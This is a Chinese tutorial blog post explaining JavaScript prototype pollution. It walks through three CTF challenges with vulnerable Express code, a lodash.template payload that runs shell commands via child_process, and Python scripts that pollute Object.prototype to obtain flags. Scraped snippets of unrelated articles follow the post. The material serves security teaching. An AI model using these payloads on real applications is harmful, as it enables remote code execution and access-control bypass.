原型链污染攻击
想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念
可以看这篇文章:对象的继承和原型链
目录
prototype和__proto__分别是什么?
原型链继承
原型链污染是什么
哪些情况下原型链会被污染?
例题1:Code-Breaking 2018 Thejs 分析
例题2:hackit-2018
例题3:hackim-2019
prototype和__proto__分别是什么?
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function Foo() { //构造函数this.bar = 1 //构造函数的一个属性
}
new Foo()
构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了
class语法,但class其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}
(new Foo()).show()
这里定义的show就是一个方法
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,问题的愿意就是因为:这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。
我们希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:
function Foo() {this.bar = 1
}
Foo.prototype.show = function show() {console.log(this.bar)
}
let foo = new Foo()
foo.show()
我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype来访问Foo类的原型,这里就又出现了一个问题:Foo实例化出来的对象不能通过prototype访问原型的。
这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
所以,总结一下:
-
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 -
一个对象的
__proto__属性,指向这个对象所在的类的prototype属性
原型链继承
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father() //Son继承了 Father()let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
-
在对象son中寻找last_name
-
如果找不到,则在
son.__proto__中寻找last_name -
如果仍然找不到,则继续在
son.__proto__.__proto__中寻找last_name -
依次寻找,直到找到
null结束。比如,Object.prototype的__proto__就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
-
每个构造函数(constructor)都有一个原型对象(prototype)
-
对象的
__proto__属性,指向类的原型对象prototype -
JavaScript使用prototype链实现继承机制
原型链污染是什么
前面说到,foo.__proto__指向的是Foo类的prototype。
那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?
做个简单的实验:
let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
这种攻击方式就是原型链污染。
哪些情况下原型链会被污染?
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__的值呢?
其实找找能够控制数组(对象)的“键名”的操作即可:
-
对象merge(克隆)
-
对象clone(其实内核就是将待操作的对象 merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
我们用如下代码实验一下:
function merge(target, source) { //接收两个参数for (let key in source) { //判断source是否有相应的keyif (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]//把第二个参数中的key赋值给了第一个参数中的key}}
}
var x = {// name: 'oupeng',age: 18
}
var y = {// name: 'abc',age: 19,num: 100
}
merge(x, y);
console.log(x);
console.log(y);let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
例题1:Code-Breaking 2018 Thejs 分析
后端主要代码如下(完整代码可参考这里)
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
-
lodash.template一个简单的模板引擎 -
lodash.merge函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。
我们看到lodash.template的代码:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source)//这里的Function是构造函数 .apply(undefined, importsValues);
}); options是一个对象,sourceURL取到了其options.sourceURL属性。
这个sourceURL属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。
最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。
我将带有__proto__的Payload以json的形式发送给后端,
因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
具体过程:
代码:这里
(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名 这两条命令任意一条来安装需要的模块
(3)然后我们可以尝试在网页访问:你的ip地址:3000
(4)然后我们使用Burpsuite抓包访问该页面
Payload:
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问
例题2:hackit-2018
这里我使用的环境是window
(1)代码
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}
function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}res.render('index');
})
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
}
)
app.post('/api', (req, res) => {var client = req.body;var winner = null;
if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;//这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng//注:传值时一定要用json的格式去传值for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}
if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}
})
app.listen(3000, () => {console.log('app listening on port 3000!')
}) 分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:
matric[client.row][client.col] =client.data
由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染
具体过程 :
(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)编写Python代码来实现POST请求
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)
(4)运行Python文件
可以看到成功的通过原型链污染,拿到了flag!
例题3:hackim-2019
代码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
function clone(a) {return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`); 首先就是先看拿到值的条件:
if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
这里需要admin.admin == 1才能正常拿到
通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。
function clone(a) {return merge({}, a);
}
这里我们可以使用merge给{}中提交一个key=__proto__,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染
具体过程
(1)首先和前面一样新建一个名为re3.js文件
文件内容就是前面的代码
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果在安装包时有一个 "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:
"cookie-parser": "^1.4.6"
(3)编写pythonPOST提交代码
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
这里的res1会让代码中的body={"__proto__":{admin:1}}
然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag
(4)运行python代码
通过结果可以看到,成功的拿到了flag!
相关文章:
原型链污染攻击
想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念 可以看这篇文章:对象的继承和原型链 目录 prototype和__proto__分别是什么? 原型链继承 原型链污染是什么 哪些情况下原型链会被污染? 例题1:Code-Breaking 2…...
Android Glide transform圆形图CircleCrop动态代码描边绘制外框线并rotateImage旋转,Kotlin
Android Glide transform圆形图CircleCrop动态代码描边绘制外框线并rotateImage旋转,Kotlin <?xml version"1.0" encoding"utf-8"?> <FrameLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app&q…...
【ruoyi】微服务关闭登录验证码
登录本地的nacos服务,修改:配置管理-配置列表-ruoyi-gateway-dev.yml 将验证码的enabled设置成false,即可...
AI:78-基于深度学习的食物识别与营养分析
🚀 本文选自专栏:人工智能领域200例教程专栏 从基础到实践,深入学习。无论你是初学者还是经验丰富的老手,对于本专栏案例和项目实践都有参考学习意义。 ✨✨✨ 每一个案例都附带有在本地跑过的代码,详细讲解供大家学习,希望可以帮到大家。欢迎订阅支持,正在不断更新中,…...
日本it培训班,如何选择靠谱的赴日IT培训班?
随着科技的发展,信息技术行业在全球范围内迅速发展,并呈现出蓬勃的发展态势,在日本,IT行业也成为一种极为热门的职业选择。日本专门学校在这个领域内培养了许多IT从业者,成为了众多IT公司的培养基地。如果你对IT产业感…...
51单片机PCF8591数字电压表LCD1602液晶显示设计( proteus仿真+程序+设计报告+讲解视频)
51单片机PCF8591数字电压表LCD1602液晶设计 ( proteus仿真程序设计报告讲解视频) 仿真图proteus7.8及以上 程序编译器:keil 4/keil 5 编程语言:C语言 设计编号:S0060 51单片机PCF8591数字电压表LCD1602液晶设计 1.主要功能&a…...
缅因州政府通知130万人MOVEit数据泄露事件
大家好,今天我要向大家通报一个令人震惊的消息:缅因州政府的系统遭到了入侵,黑客利用MOVEit文件传输工具的漏洞,获取了约130万人的个人信息,这几乎相当于该州的整个人口数量。 MOVEit攻击是Clop勒索软件团伙进行的一次…...
4.2 onnx简化模型结构
前言 对已有的onnx结构,进行简化操作,onnx提供两种常规操作 方式一 假设为 model.onnx, 比较简单粗暴 # 简化 onnxsim model.onnx model_sim.onnx方式二 稍微复杂点,代码有点多 import onnx import argparse from onnxsim import simpl…...
通用的链栈实现(C++)
template<class T> class MyStack//链栈 { private:struct StackNode{T data;StackNode* next;StackNode(const T& val T(), StackNode* p nullptr) :data(val), next(p) {}//};StackNode* top;int cursize;void clone(const MyStack& s){Clear();cursize s.c…...
物联网AI MicroPython学习之语法 bluetooth蓝牙
学物联网,来万物简单IoT物联网!! bluetooth 介绍 该模块为板上的蓝牙控制器提供了相关接口。目前支持低功耗蓝牙 (BLE)的Central(中央), Peripheral(外设), Broadcaster(广播者&…...
React中的key有什么作用?
一、是什么 首先,先给出react组件中进行列表渲染的一个示例: const data = [ { id: 0, name: abc }, { id: 1, name: def }, { id: 2, name: ghi }, { id: 3, name: jkl } ]; const ListItem = (props) => { return <li>{props.name}</li>; }; con…...
初认识vue,v-for,v-if,v-bind,v-model,v-html等指令
vue 一.vue3介绍 1.为什么data是函数而不是对象? 因为vue是组件开发,组件会多次复用,data如果是对象,多次复用是共享,必须函数返回一个新的对象 1. 官网初识 Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS …...
Java 算法篇-深入了解单链表的反转(实现:用 5 种方式来具体实现)
🔥博客主页: 小扳_-CSDN博客 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 单链表的反转说明 2.0 单链表的创建 3.0 实现单链表反转的五种方法 3.1 实现单链表反转 - 循环复制(迭代法) 3.2 实现单链表反转 - 头插法 3…...
Android 10.0 系统内存优化之修改dalvik虚拟机的内存参数
1.前言 在10.0的系统开发定制中,app应用也是运行在dalvik虚拟机上的,所以对于一些内存低的系统中,在某些大应用会出现耗内存 卡顿情况,这是系统分配的内存不够大,在进行耗内存的操作,就会出现频繁gc等等原因造成不流畅的现象,接下来就分析下 虚拟机分配内存的相关原理 …...
Docker+K8s基础(重要知识点总结)
目录 一、Docker的核心1,Docker引擎2,Docker基础命令3,单个容器运行多个服务进程4,多个容器运行多个服务进程5,备份在容器中运行的数据库6,在宿主机和容器之间共享数据7,在容器之间共享数据8&am…...
IDEA 关闭SpringBoot启动Logo/图标
一、环境 1、SpringBoot 2.6.4 Maven POM格式 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.4</version><relativePath/></parent> 2、IDE…...
提供话费充值接口 话费快充慢充/API独立接口,商城/小程序/公众号合作
话费充值接口文档 接口版本:1.0 ―、引言 文档概述 本文档提供话费充值接口规范说明,提供一整套的完整的接入示例(http 接口)供商户参 考,可以帮助商户开发人员快速完成接口开发与联调,实现与话费充值系统的交易互联。 公司官网…...
[N-133]基于springboot,vue小说网站
开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 系统分前后台,项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plus 本项…...
计算机网络:概述
0 学时安排及讨论题目 0.1讨论题目: CSMA/CD协议交换机基本原理ARP协议及其安全子网划分IP分片路由选择算法网络地址转换NATTCP连接建立和释放再论网络体系结构 0.2 本节主要内容 计算机网络在信息时代中的作用 互联网概述 互联网的组成 计算机网络在我国的发展 …...
服务号怎么升级订阅号
服务号和订阅号有什么区别?服务号转为订阅号有哪些作用?首先我们要看一下服务号和订阅号的主要区别。1、服务号推送的消息没有折叠,消息出现在聊天列表中,会像收到消息一样有提醒。而订阅号推送的消息是折叠的,“订阅号…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序
一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...








